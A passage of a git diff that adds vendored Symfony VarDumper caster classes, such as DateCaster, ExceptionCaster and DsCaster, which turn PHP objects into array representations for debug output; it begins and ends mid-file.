'data' => $dom->data, + 'length' => $dom->length, + ]; + + return $a; + } + + public static function castAttr(\DOMAttr $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'name' => $dom->name, + 'specified' => $dom->specified, + 'value' => $dom->value, + 'ownerElement' => $dom->ownerElement, + 'schemaTypeInfo' => $dom->schemaTypeInfo, + ]; + + return $a; + } + + public static function castElement(\DOMElement $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'tagName' => $dom->tagName, + 'schemaTypeInfo' => $dom->schemaTypeInfo, + ]; + + return $a; + } + + public static function castText(\DOMText $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'wholeText' => $dom->wholeText, + ]; + + return $a; + } + + public static function castTypeinfo(\DOMTypeinfo $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'typeName' => $dom->typeName, + 'typeNamespace' => $dom->typeNamespace, + ]; + + return $a; + } + + public static function castDomError(\DOMDomError $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'severity' => $dom->severity, + 'message' => $dom->message, + 'type' => $dom->type, + 'relatedException' => $dom->relatedException, + 'related_data' => $dom->related_data, + 'location' => $dom->location, + ]; + + return $a; + } + + public static function castLocator(\DOMLocator $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'lineNumber' => $dom->lineNumber, + 'columnNumber' => $dom->columnNumber, + 'offset' => $dom->offset, + 'relatedNode' => $dom->relatedNode, + 'uri' => $dom->uri ? new LinkStub($dom->uri, $dom->lineNumber) : $dom->uri, + ]; + + return $a; + } + + public static function castDocumentType(\DOMDocumentType $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'name' => $dom->name, + 'entities' => $dom->entities, + 'notations' => $dom->notations, + 'publicId' => $dom->publicId, + 'systemId' => $dom->systemId, + 'internalSubset' => $dom->internalSubset, + ]; + + return $a; + } + + public static function castNotation(\DOMNotation $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'publicId' => $dom->publicId, + 'systemId' => $dom->systemId, + ]; + + return $a; + } + + public static function castEntity(\DOMEntity $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'publicId' => $dom->publicId, + 'systemId' => $dom->systemId, + 'notationName' => $dom->notationName, + 'actualEncoding' => $dom->actualEncoding, + 'encoding' => $dom->encoding, + 'version' => $dom->version, + ]; + + return $a; + } + + public static function castProcessingInstruction(\DOMProcessingInstruction $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'target' => $dom->target, + 'data' => $dom->data, + ]; + + return $a; + } + + public static function castXPath(\DOMXPath $dom, array $a, Stub $stub, $isNested) + { + $a += [ + 'document' => $dom->document, + ]; + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/DateCaster.php b/vendor/symfony/var-dumper/Caster/DateCaster.php new file mode 100644 index 0000000..6b264c7 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/DateCaster.php @@ -0,0 +1,128 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts DateTimeInterface related classes to array representation. + * + * @author Dany Maillard + * + * @final since Symfony 4.4 + */ +class DateCaster +{ + private const PERIOD_LIMIT = 3; + + public static function castDateTime(\DateTimeInterface $d, array $a, Stub $stub, $isNested, $filter) + { + $prefix = Caster::PREFIX_VIRTUAL; + $location = $d->getTimezone()->getLocation(); + $fromNow = (new \DateTime())->diff($d); + + $title = $d->format('l, F j, Y') + ."\n".self::formatInterval($fromNow).' from now' + .($location ? ($d->format('I') ? "\nDST On" : "\nDST Off") : '') + ; + + unset( + $a[Caster::PREFIX_DYNAMIC.'date'], + $a[Caster::PREFIX_DYNAMIC.'timezone'], + $a[Caster::PREFIX_DYNAMIC.'timezone_type'] + ); + $a[$prefix.'date'] = new ConstStub(self::formatDateTime($d, $location ? ' e (P)' : ' P'), $title); + + $stub->class .= $d->format(' @U'); + + return $a; + } + + public static function castInterval(\DateInterval $interval, array $a, Stub $stub, $isNested, $filter) + { + $now = new \DateTimeImmutable(); + $numberOfSeconds = $now->add($interval)->getTimestamp() - $now->getTimestamp(); + $title = number_format($numberOfSeconds, 0, '.', ' ').'s'; + + $i = [Caster::PREFIX_VIRTUAL.'interval' => new ConstStub(self::formatInterval($interval), $title)]; + + return $filter & Caster::EXCLUDE_VERBOSE ? $i : $i + $a; + } + + private static function formatInterval(\DateInterval $i): string + { + $format = '%R '; + + if (0 === $i->y && 0 === $i->m && ($i->h >= 24 || $i->i >= 60 || $i->s >= 60)) { + $i = date_diff($d = new \DateTime(), date_add(clone $d, $i)); // recalculate carry over points + $format .= 0 < $i->days ? '%ad ' : ''; + } else { + $format .= ($i->y ? '%yy ' : '').($i->m ? '%mm ' : '').($i->d ? '%dd ' : ''); + } + + $format .= $i->h || $i->i || $i->s || $i->f ? '%H:%I:'.self::formatSeconds($i->s, substr($i->f, 2)) : ''; + $format = '%R ' === $format ? '0s' : $format; + + return $i->format(rtrim($format)); + } + + public static function castTimeZone(\DateTimeZone $timeZone, array $a, Stub $stub, $isNested, $filter) + { + $location = $timeZone->getLocation(); + $formatted = (new \DateTime('now', $timeZone))->format($location ? 'e (P)' : 'P'); + $title = $location && \extension_loaded('intl') ? \Locale::getDisplayRegion('-'.$location['country_code']) : ''; + + $z = [Caster::PREFIX_VIRTUAL.'timezone' => new ConstStub($formatted, $title)]; + + return $filter & Caster::EXCLUDE_VERBOSE ? $z : $z + $a; + } + + public static function castPeriod(\DatePeriod $p, array $a, Stub $stub, $isNested, $filter) + { + $dates = []; + if (\PHP_VERSION_ID >= 70107) { // see https://bugs.php.net/74639 + foreach (clone $p as $i => $d) { + if (self::PERIOD_LIMIT === $i) { + $now = new \DateTimeImmutable(); + $dates[] = sprintf('%s more', ($end = $p->getEndDate()) + ? ceil(($end->format('U.u') - $d->format('U.u')) / ((int) $now->add($p->getDateInterval())->format('U.u') - (int) $now->format('U.u'))) + : $p->recurrences - $i + ); + break; + } + $dates[] = sprintf('%s) %s', $i + 1, self::formatDateTime($d)); + } + } + + $period = sprintf( + 'every %s, from %s (%s) %s', + self::formatInterval($p->getDateInterval()), + self::formatDateTime($p->getStartDate()), + $p->include_start_date ? 'included' : 'excluded', + ($end = $p->getEndDate()) ? 'to '.self::formatDateTime($end) : 'recurring '.$p->recurrences.' time/s' + ); + + $p = [Caster::PREFIX_VIRTUAL.'period' => new ConstStub($period, implode("\n", $dates))]; + + return $filter & Caster::EXCLUDE_VERBOSE ? $p : $p + $a; + } + + private static function formatDateTime(\DateTimeInterface $d, string $extra = ''): string + { + return $d->format('Y-m-d H:i:'.self::formatSeconds($d->format('s'), $d->format('u')).$extra); + } + + private static function formatSeconds(string $s, string $us): string + { + return sprintf('%02d.%s', $s, 0 === ($len = \strlen($t = rtrim($us, '0'))) ? '0' : ($len <= 3 ? str_pad($t, 3, '0') : $us)); + } +} diff --git a/vendor/symfony/var-dumper/Caster/DoctrineCaster.php b/vendor/symfony/var-dumper/Caster/DoctrineCaster.php new file mode 100644 index 0000000..7409508 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/DoctrineCaster.php @@ -0,0 +1,62 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Doctrine\Common\Proxy\Proxy as CommonProxy; +use Doctrine\ORM\PersistentCollection; +use Doctrine\ORM\Proxy\Proxy as OrmProxy; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts Doctrine related classes to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class DoctrineCaster +{ + public static function castCommonProxy(CommonProxy $proxy, array $a, Stub $stub, $isNested) + { + foreach (['__cloner__', '__initializer__'] as $k) { + if (\array_key_exists($k, $a)) { + unset($a[$k]); + ++$stub->cut; + } + } + + return $a; + } + + public static function castOrmProxy(OrmProxy $proxy, array $a, Stub $stub, $isNested) + { + foreach (['_entityPersister', '_identifier'] as $k) { + if (\array_key_exists($k = "\0Doctrine\\ORM\\Proxy\\Proxy\0".$k, $a)) { + unset($a[$k]); + ++$stub->cut; + } + } + + return $a; + } + + public static function castPersistentCollection(PersistentCollection $coll, array $a, Stub $stub, $isNested) + { + foreach (['snapshot', 'association', 'typeClass'] as $k) { + if (\array_key_exists($k = "\0Doctrine\\ORM\\PersistentCollection\0".$k, $a)) { + $a[$k] = new CutStub($a[$k]); + } + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/DsCaster.php b/vendor/symfony/var-dumper/Caster/DsCaster.php new file mode 100644 index 0000000..11423c9 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/DsCaster.php @@ -0,0 +1,70 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Ds\Collection; +use Ds\Map; +use Ds\Pair; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts Ds extension classes to array representation. + * + * @author Jáchym Toušek + * + * @final since Symfony 4.4 + */ +class DsCaster +{ + public static function castCollection(Collection $c, array $a, Stub $stub, bool $isNested): array + { + $a[Caster::PREFIX_VIRTUAL.'count'] = $c->count(); + $a[Caster::PREFIX_VIRTUAL.'capacity'] = $c->capacity(); + + if (!$c instanceof Map) { + $a += $c->toArray(); + } + + return $a; + } + + public static function castMap(Map $c, array $a, Stub $stub, bool $isNested): array + { + foreach ($c as $k => $v) { + $a[] = new DsPairStub($k, $v); + } + + return $a; + } + + public static function castPair(Pair $c, array $a, Stub $stub, bool $isNested): array + { + foreach ($c->toArray() as $k => $v) { + $a[Caster::PREFIX_VIRTUAL.$k] = $v; + } + + return $a; + } + + public static function castPairStub(DsPairStub $c, array $a, Stub $stub, bool $isNested): array + { + if ($isNested) { + $stub->class = Pair::class; + $stub->value = null; + $stub->handle = 0; + + $a = $c->value; + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/DsPairStub.php b/vendor/symfony/var-dumper/Caster/DsPairStub.php new file mode 100644 index 0000000..a1dcc15 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/DsPairStub.php @@ -0,0 +1,28 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @author Nicolas Grekas + */ +class DsPairStub extends Stub +{ + public function __construct($key, $value) + { + $this->value = [ + Caster::PREFIX_VIRTUAL.'key' => $key, + Caster::PREFIX_VIRTUAL.'value' => $value, + ]; + } +} diff --git a/vendor/symfony/var-dumper/Caster/EnumStub.php b/vendor/symfony/var-dumper/Caster/EnumStub.php new file mode 100644 index 0000000..7a4e98a --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/EnumStub.php @@ -0,0 +1,30 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Represents an enumeration of values. + * + * @author Nicolas Grekas + */ +class EnumStub extends Stub +{ + public $dumpKeys = true; + + public function __construct(array $values, bool $dumpKeys = true) + { + $this->value = $values; + $this->dumpKeys = $dumpKeys; + } +} diff --git a/vendor/symfony/var-dumper/Caster/ExceptionCaster.php b/vendor/symfony/var-dumper/Caster/ExceptionCaster.php new file mode 100644 index 0000000..e99ab7b --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ExceptionCaster.php @@ -0,0 +1,382 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\ErrorHandler\Exception\SilencedErrorContext; +use Symfony\Component\VarDumper\Cloner\Stub; +use Symfony\Component\VarDumper\Exception\ThrowingCasterException; + +/** + * Casts common Exception classes to array representation. + * + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class ExceptionCaster +{ + public static $srcContext = 1; + public static $traceArgs = true; + public static $errorTypes = [ + \E_DEPRECATED => 'E_DEPRECATED', + \E_USER_DEPRECATED => 'E_USER_DEPRECATED', + \E_RECOVERABLE_ERROR => 'E_RECOVERABLE_ERROR', + \E_ERROR => 'E_ERROR', + \E_WARNING => 'E_WARNING', + \E_PARSE => 'E_PARSE', + \E_NOTICE => 'E_NOTICE', + \E_CORE_ERROR => 'E_CORE_ERROR', + \E_CORE_WARNING => 'E_CORE_WARNING', + \E_COMPILE_ERROR => 'E_COMPILE_ERROR', + \E_COMPILE_WARNING => 'E_COMPILE_WARNING', + \E_USER_ERROR => 'E_USER_ERROR', + \E_USER_WARNING => 'E_USER_WARNING', + \E_USER_NOTICE => 'E_USER_NOTICE', + \E_STRICT => 'E_STRICT', + ]; + + private static $framesCache = []; + + public static function castError(\Error $e, array $a, Stub $stub, $isNested, $filter = 0) + { + return self::filterExceptionArray($stub->class, $a, "\0Error\0", $filter); + } + + public static function castException(\Exception $e, array $a, Stub $stub, $isNested, $filter = 0) + { + return self::filterExceptionArray($stub->class, $a, "\0Exception\0", $filter); + } + + public static function castErrorException(\ErrorException $e, array $a, Stub $stub, $isNested) + { + if (isset($a[$s = Caster::PREFIX_PROTECTED.'severity'], self::$errorTypes[$a[$s]])) { + $a[$s] = new ConstStub(self::$errorTypes[$a[$s]], $a[$s]); + } + + return $a; + } + + public static function castThrowingCasterException(ThrowingCasterException $e, array $a, Stub $stub, $isNested) + { + $trace = Caster::PREFIX_VIRTUAL.'trace'; + $prefix = Caster::PREFIX_PROTECTED; + $xPrefix = "\0Exception\0"; + + if (isset($a[$xPrefix.'previous'], $a[$trace]) && $a[$xPrefix.'previous'] instanceof \Exception) { + $b = (array) $a[$xPrefix.'previous']; + $class = get_debug_type($a[$xPrefix.'previous']); + self::traceUnshift($b[$xPrefix.'trace'], $class, $b[$prefix.'file'], $b[$prefix.'line']); + $a[$trace] = new TraceStub($b[$xPrefix.'trace'], false, 0, -\count($a[$trace]->value)); + } + + unset($a[$xPrefix.'previous'], $a[$prefix.'code'], $a[$prefix.'file'], $a[$prefix.'line']); + + return $a; + } + + public static function castSilencedErrorContext(SilencedErrorContext $e, array $a, Stub $stub, $isNested) + { + $sPrefix = "\0".SilencedErrorContext::class."\0"; + + if (!isset($a[$s = $sPrefix.'severity'])) { + return $a; + } + + if (isset(self::$errorTypes[$a[$s]])) { + $a[$s] = new ConstStub(self::$errorTypes[$a[$s]], $a[$s]); + } + + $trace = [[ + 'file' => $a[$sPrefix.'file'], + 'line' => $a[$sPrefix.'line'], + ]]; + + if (isset($a[$sPrefix.'trace'])) { + $trace = array_merge($trace, $a[$sPrefix.'trace']); + } + + unset($a[$sPrefix.'file'], $a[$sPrefix.'line'], $a[$sPrefix.'trace']); + $a[Caster::PREFIX_VIRTUAL.'trace'] = new TraceStub($trace, self::$traceArgs); + + return $a; + } + + public static function castTraceStub(TraceStub $trace, array $a, Stub $stub, $isNested) + { + if (!$isNested) { + return $a; + } + $stub->class = ''; + $stub->handle = 0; + $frames = $trace->value; + $prefix = Caster::PREFIX_VIRTUAL; + + $a = []; + $j = \count($frames); + if (0 > $i = $trace->sliceOffset) { + $i = max(0, $j + $i); + } + if (!isset($trace->value[$i])) { + return []; + } + $lastCall = isset($frames[$i]['function']) ? (isset($frames[$i]['class']) ? $frames[0]['class'].$frames[$i]['type'] : '').$frames[$i]['function'].'()' : ''; + $frames[] = ['function' => '']; + $collapse = false; + + for ($j += $trace->numberingOffset - $i++; isset($frames[$i]); ++$i, --$j) { + $f = $frames[$i]; + $call = isset($f['function']) ? (isset($f['class']) ? $f['class'].$f['type'] : '').$f['function'] : '???'; + + $frame = new FrameStub( + [ + 'object' => isset($f['object']) ? $f['object'] : null, + 'class' => isset($f['class']) ? $f['class'] : null, + 'type' => isset($f['type']) ? $f['type'] : null, + 'function' => isset($f['function']) ? $f['function'] : null, + ] + $frames[$i - 1], + false, + true + ); + $f = self::castFrameStub($frame, [], $frame, true); + if (isset($f[$prefix.'src'])) { + foreach ($f[$prefix.'src']->value as $label => $frame) { + if (0 === strpos($label, "\0~collapse=0")) { + if ($collapse) { + $label = substr_replace($label, '1', 11, 1); + } else { + $collapse = true; + } + } + $label = substr_replace($label, "title=Stack level $j.&", 2, 0); + } + $f = $frames[$i - 1]; + if ($trace->keepArgs && !empty($f['args']) && $frame instanceof EnumStub) { + $frame->value['arguments'] = new ArgsStub($f['args'], isset($f['function']) ? $f['function'] : null, isset($f['class']) ? $f['class'] : null); + } + } elseif ('???' !== $lastCall) { + $label = new ClassStub($lastCall); + if (isset($label->attr['ellipsis'])) { + $label->attr['ellipsis'] += 2; + $label = substr_replace($prefix, "ellipsis-type=class&ellipsis={$label->attr['ellipsis']}&ellipsis-tail=1&title=Stack level $j.", 2, 0).$label->value.'()'; + } else { + $label = substr_replace($prefix, "title=Stack level $j.", 2, 0).$label->value.'()'; + } + } else { + $label = substr_replace($prefix, "title=Stack level $j.", 2, 0).$lastCall; + } + $a[substr_replace($label, sprintf('separator=%s&', $frame instanceof EnumStub ? ' ' : ':'), 2, 0)] = $frame; + + $lastCall = $call; + } + if (null !== $trace->sliceLength) { + $a = \array_slice($a, 0, $trace->sliceLength, true); + } + + return $a; + } + + public static function castFrameStub(FrameStub $frame, array $a, Stub $stub, $isNested) + { + if (!$isNested) { + return $a; + } + $f = $frame->value; + $prefix = Caster::PREFIX_VIRTUAL; + + if (isset($f['file'], $f['line'])) { + $cacheKey = $f; + unset($cacheKey['object'], $cacheKey['args']); + $cacheKey[] = self::$srcContext; + $cacheKey = implode('-', $cacheKey); + + if (isset(self::$framesCache[$cacheKey])) { + $a[$prefix.'src'] = self::$framesCache[$cacheKey]; + } else { + if (preg_match('/\((\d+)\)(?:\([\da-f]{32}\))? : (?:eval\(\)\'d code|runtime-created function)$/', $f['file'], $match)) { + $f['file'] = substr($f['file'], 0, -\strlen($match[0])); + $f['line'] = (int) $match[1]; + } + $src = $f['line']; + $srcKey = $f['file']; + $ellipsis = new LinkStub($srcKey, 0); + $srcAttr = 'collapse='.(int) $ellipsis->inVendor; + $ellipsisTail = isset($ellipsis->attr['ellipsis-tail']) ? $ellipsis->attr['ellipsis-tail'] : 0; + $ellipsis = isset($ellipsis->attr['ellipsis']) ? $ellipsis->attr['ellipsis'] : 0; + + if (file_exists($f['file']) && 0 <= self::$srcContext) { + if (!empty($f['class']) && (is_subclass_of($f['class'], 'Twig\Template') || is_subclass_of($f['class'], 'Twig_Template')) && method_exists($f['class'], 'getDebugInfo')) { + $template = isset($f['object']) ? $f['object'] : unserialize(sprintf('O:%d:"%s":0:{}', \strlen($f['class']), $f['class'])); + + $ellipsis = 0; + $templateSrc = method_exists($template, 'getSourceContext') ? $template->getSourceContext()->getCode() : (method_exists($template, 'getSource') ? $template->getSource() : ''); + $templateInfo = $template->getDebugInfo(); + if (isset($templateInfo[$f['line']])) { + if (!method_exists($template, 'getSourceContext') || !file_exists($templatePath = $template->getSourceContext()->getPath())) { + $templatePath = null; + } + if ($templateSrc) { + $src = self::extractSource($templateSrc, $templateInfo[$f['line']], self::$srcContext, 'twig', $templatePath, $f); + $srcKey = ($templatePath ?: $template->getTemplateName()).':'.$templateInfo[$f['line']]; + } + } + } + if ($srcKey == $f['file']) { + $src = self::extractSource(file_get_contents($f['file']), $f['line'], self::$srcContext, 'php', $f['file'], $f); + $srcKey .= ':'.$f['line']; + if ($ellipsis) { + $ellipsis += 1 + \strlen($f['line']); + } + } + $srcAttr .= sprintf('&separator= &file=%s&line=%d', rawurlencode($f['file']), $f['line']); + } else { + $srcAttr .= '&separator=:'; + } + $srcAttr .= $ellipsis ? '&ellipsis-type=path&ellipsis='.$ellipsis.'&ellipsis-tail='.$ellipsisTail : ''; + self::$framesCache[$cacheKey] = $a[$prefix.'src'] = new EnumStub(["\0~$srcAttr\0$srcKey" => $src]); + } + } + + unset($a[$prefix.'args'], $a[$prefix.'line'], $a[$prefix.'file']); + if ($frame->inTraceStub) { + unset($a[$prefix.'class'], $a[$prefix.'type'], $a[$prefix.'function']); + } + foreach ($a as $k => $v) { + if (!$v) { + unset($a[$k]); + } + } + if ($frame->keepArgs && !empty($f['args'])) { + $a[$prefix.'arguments'] = new ArgsStub($f['args'], $f['function'], $f['class']); + } + + return $a; + } + + private static function filterExceptionArray(string $xClass, array $a, string $xPrefix, int $filter): array + { + if (isset($a[$xPrefix.'trace'])) { + $trace = $a[$xPrefix.'trace']; + unset($a[$xPrefix.'trace']); // Ensures the trace is always last + } else { + $trace = []; + } + + if (!($filter & Caster::EXCLUDE_VERBOSE) && $trace) { + if (isset($a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line'])) { + self::traceUnshift($trace, $xClass, $a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line']); + } + $a[Caster::PREFIX_VIRTUAL.'trace'] = new TraceStub($trace, self::$traceArgs); + } + if (empty($a[$xPrefix.'previous'])) { + unset($a[$xPrefix.'previous']); + } + unset($a[$xPrefix.'string'], $a[Caster::PREFIX_DYNAMIC.'xdebug_message'], $a[Caster::PREFIX_DYNAMIC.'__destructorException']); + + if (isset($a[Caster::PREFIX_PROTECTED.'message']) && false !== strpos($a[Caster::PREFIX_PROTECTED.'message'], "@anonymous\0")) { + $a[Caster::PREFIX_PROTECTED.'message'] = preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/', function ($m) { + return class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' : $m[0]; + }, $a[Caster::PREFIX_PROTECTED.'message']); + } + + if (isset($a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line'])) { + $a[Caster::PREFIX_PROTECTED.'file'] = new LinkStub($a[Caster::PREFIX_PROTECTED.'file'], $a[Caster::PREFIX_PROTECTED.'line']); + } + + return $a; + } + + private static function traceUnshift(array &$trace, ?string $class, string $file, int $line): void + { + if (isset($trace[0]['file'], $trace[0]['line']) && $trace[0]['file'] === $file && $trace[0]['line'] === $line) { + return; + } + array_unshift($trace, [ + 'function' => $class ? 'new '.$class : null, + 'file' => $file, + 'line' => $line, + ]); + } + + private static function extractSource(string $srcLines, int $line, int $srcContext, string $lang, ?string $file, array $frame): EnumStub + { + $srcLines = explode("\n", $srcLines); + $src = []; + + for ($i = $line - 1 - $srcContext; $i <= $line - 1 + $srcContext; ++$i) { + $src[] = (isset($srcLines[$i]) ? $srcLines[$i] : '')."\n"; + } + + if ($frame['function'] ?? false) { + $stub = new CutStub(new \stdClass()); + $stub->class = (isset($frame['class']) ? $frame['class'].$frame['type'] : '').$frame['function']; + $stub->type = Stub::TYPE_OBJECT; + $stub->attr['cut_hash'] = true; + $stub->attr['file'] = $frame['file']; + $stub->attr['line'] = $frame['line']; + + try { + $caller = isset($frame['class']) ? new \ReflectionMethod($frame['class'], $frame['function']) : new \ReflectionFunction($frame['function']); + $stub->class .= ReflectionCaster::getSignature(ReflectionCaster::castFunctionAbstract($caller, [], $stub, true, Caster::EXCLUDE_VERBOSE)); + + if ($f = $caller->getFileName()) { + $stub->attr['file'] = $f; + $stub->attr['line'] = $caller->getStartLine(); + } + } catch (\ReflectionException $e) { + // ignore fake class/function + } + + $srcLines = ["\0~separator=\0" => $stub]; + } else { + $stub = null; + $srcLines = []; + } + + $ltrim = 0; + do { + $pad = null; + for ($i = $srcContext << 1; $i >= 0; --$i) { + if (isset($src[$i][$ltrim]) && "\r" !== ($c = $src[$i][$ltrim]) && "\n" !== $c) { + if (null === $pad) { + $pad = $c; + } + if ((' ' !== $c && "\t" !== $c) || $pad !== $c) { + break; + } + } + } + ++$ltrim; + } while (0 > $i && null !== $pad); + + --$ltrim; + + foreach ($src as $i => $c) { + if ($ltrim) { + $c = isset($c[$ltrim]) && "\r" !== $c[$ltrim] ? substr($c, $ltrim) : ltrim($c, " \t"); + } + $c = substr($c, 0, -1); + if ($i !== $srcContext) { + $c = new ConstStub('default', $c); + } else { + $c = new ConstStub($c, $stub ? 'in '.$stub->class : ''); + if (null !== $file) { + $c->attr['file'] = $file; + $c->attr['line'] = $line; + } + } + $c->attr['lang'] = $lang; + $srcLines[sprintf("\0~separator=› &%d\0", $i + $line - $srcContext)] = $c; + } + + return new EnumStub($srcLines); + } +} diff --git a/vendor/symfony/var-dumper/Caster/FrameStub.php b/vendor/symfony/var-dumper/Caster/FrameStub.php new file mode 100644 index 0000000..8786755 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/FrameStub.php @@ -0,0 +1,30 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +/** + * Represents a single backtrace frame as returned by debug_backtrace() or Exception->getTrace(). + * + * @author Nicolas Grekas + */ +class FrameStub extends EnumStub +{ + public $keepArgs; + public $inTraceStub; + + public function __construct(array $frame, bool $keepArgs = true, bool $inTraceStub = false) + { + $this->value = $frame; + $this->keepArgs = $keepArgs; + $this->inTraceStub = $inTraceStub; + } +} diff --git a/vendor/symfony/var-dumper/Caster/GmpCaster.php b/vendor/symfony/var-dumper/Caster/GmpCaster.php new file mode 100644 index 0000000..2b20e15 --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/GmpCaster.php @@ -0,0 +1,32 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * Casts GMP objects to array representation. + * + * @author Hamza Amrouche + * @author Nicolas Grekas + * + * @final since Symfony 4.4 + */ +class GmpCaster +{ + public static function castGmp(\GMP $gmp, array $a, Stub $stub, $isNested, $filter): array + { + $a[Caster::PREFIX_VIRTUAL.'value'] = new ConstStub(gmp_strval($gmp), gmp_strval($gmp)); + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/ImagineCaster.php b/vendor/symfony/var-dumper/Caster/ImagineCaster.php new file mode 100644 index 0000000..d1289da --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ImagineCaster.php @@ -0,0 +1,37 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Imagine\Image\ImageInterface; +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @author Grégoire Pineau + */ +final class ImagineCaster +{ + public static function castImage(ImageInterface $c, array $a, Stub $stub, bool $isNested): array + { + $imgData = $c->get('png'); + if (\strlen($imgData) > 1 * 1000 * 1000) { + $a += [ + Caster::PREFIX_VIRTUAL.'image' => new ConstStub($c->getSize()), + ]; + } else { + $a += [ + Caster::PREFIX_VIRTUAL.'image' => new ImgStub($imgData, 'image/png', $c->getSize()), + ]; + } + + return $a; + } +} diff --git a/vendor/symfony/var-dumper/Caster/ImgStub.php b/vendor/symfony/var-dumper/Caster/ImgStub.php new file mode 100644 index 0000000..05789fe --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/ImgStub.php @@ -0,0 +1,26 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +/** + * @author Grégoire Pineau + */ +class ImgStub extends ConstStub +{ + public function __construct(string $data, string $contentType, string $size) + { + $this->value = ''; + $this->attr['img-data'] = $data; + $this->attr['img-size'] = $size; + $this->attr['content-type'] = $contentType; + } +} diff --git a/vendor/symfony/var-dumper/Caster/IntlCaster.php b/vendor/symfony/var-dumper/Caster/IntlCaster.php new file mode 100644 index 0000000..d7099cb --- /dev/null +++ b/vendor/symfony/var-dumper/Caster/IntlCaster.php @@ -0,0 +1,172 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Caster; + +use Symfony\Component\VarDumper\Cloner\Stub; + +/** + * @author Nicolas Grekas + * @author Jan Schädlich + * + * @final since Symfony 4.4 + */ +class IntlCaster +{ + public static function castMessageFormatter(\MessageFormatter $c, array $a, Stub $stub, $isNested) + { + $a += [ + Caster::PREFIX_VIRTUAL.'locale' => $c->getLocale(), + Caster::PREFIX_VIRTUAL.'pattern' => $c->getPattern(), + ]; + + return self::castError($c, $a); + } + + public static function castNumberFormatter(\NumberFormatter $c, array $a, Stub $stub, $isNested, $filter = 0) + { + $a += [ + Caster::PREFIX_VIRTUAL.'locale' => $c->getLocale(), + Caster::PREFIX_VIRTUAL.'pattern' => $c->getPattern(), + ]; + + if ($filter & Caster::EXCLUDE_VERBOSE) { + $stub->cut += 3; + + return self::castError($c, $a); + } + + $a += [ + Caster::PREFIX_VIRTUAL.'attributes' => new EnumStub( + [ + 'PARSE_INT_ONLY' => $c->getAttribute(\NumberFormatter::PARSE_INT_ONLY), + 'GROUPING_USED' => $c->getAttribute(\NumberFormatter::GROUPING_USED), + 'DECIMAL_ALWAYS_SHOWN' => $c->getAttribute(\NumberFormatter::DECIMAL_ALWAYS_SHOWN), + 'MAX_INTEGER_DIGITS' => $c->getAttribute(\NumberFormatter::MAX_INTEGER_DIGITS), + 'MIN_INTEGER_DIGITS' => $c->getAttribute(\NumberFormatter::MIN_INTEGER_DIGITS), + 'INTEGER_DIGITS' => $c->getAttribute(\NumberFormatter::INTEGER_DIGITS), + 'MAX_FRACTION_DIGITS' => $c->getAttribute(\NumberFormatter::MAX_FRACTION_DIGITS), + 'MIN_FRACTION_DIGITS' => $c->getAttribute(\NumberFormatter::MIN_FRACTION_DIGITS), + 'FRACTION_DIGITS' => 